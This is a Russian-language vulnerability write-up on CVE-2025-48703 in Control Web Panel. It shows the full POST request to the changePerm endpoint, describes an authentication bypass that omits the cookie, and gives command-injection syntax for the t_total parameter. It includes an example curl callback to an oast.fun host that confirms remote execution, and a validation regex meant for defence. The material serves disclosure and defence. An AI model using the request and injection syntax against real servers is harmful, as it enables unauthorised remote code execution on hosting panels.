В сети появился эксплойт на уязвимость CVE-2025-48703, который позволяет выполнять удаленный код (RCE) от имени пользователя в обход авторизации.
Метрики на сегодняшний момент в NIST не опубликованы.
Детали уязвимости
На конечной точке
/fileManager_v2.php существует возможность редактирования прав файлов на чтение и запись. При изменении прав клиент отправляет POST запрос на <USER>/loader_ajax.php?ajax=filemanager&acc=changePerm с телом -----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="fileName"
.autorelabel
-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="currentPath"
/
-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="recursive"
-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="t_total"
600
-----------------------------3849265187757317862020143986—
В данном случае меняются права у файла .autorelabel в директории / на 600 т.е
(-rw-------).В эксплойте говорится, что злоумышленнику необходимо угадать имя пользователя
<USER> и отправить POST-запрос без заголовка cookie. Эта ошибка приведет к обходу авторизации.Вторая ошибка — это уязвимость параметра
t_total, которая позволяет передать код для выполнения на сервере (RCE), например формате ` code ` или ; code .Исследование
Был настроен стенд с версией CWP 0.9.8.1199, который подтвердил, что параметр
t_total действительно уязвим к передаче команд. В нашем исследовании использовалась более новая версия панели пользователя, которая позволила добиться эксплуатации от пользователя admin с предварительной авторизацией. Исследователи, обнаружившие данную уязвимость, скорее всего, использовали более старую версию, что позволило им провести эксплуатацию от имени пользователя без предварительной авторизации.Панель пользователя не версионируется во время процесса установки, т.е отрицать возможной эксплуатации мы не можем. Но можем точно сказать, что эксплуатация происходит идентично, за исключением того, что пользователь admin меняется на другого пользователя.
Пример эксплуатации
В приведенном примере уязвимый сервер, выполнив команду
`curl https://jvphXXXXtoczq52p92qoh.oast.fun?a=rce`, обратился к серверу атакующего. Уязвимой конечной точкой в данном примере является /admin/loader_ajax.php?ajax=filemanager&acc=changePerm.Как защищаться
Так как логикой приложения, в контексте уязвимой точки
<USER>/loader_ajax.php?ajax=filemanager&acc=changePerm, задумано, что этот параметр должно передавать число в формате XXX, то любое отклонение от этой логики будет являться не легитимным а значит, мы можем проверять значение этого параметра через регулярное выражение, например: ^(?!100$|[1-9][0-9]{2}$).* .
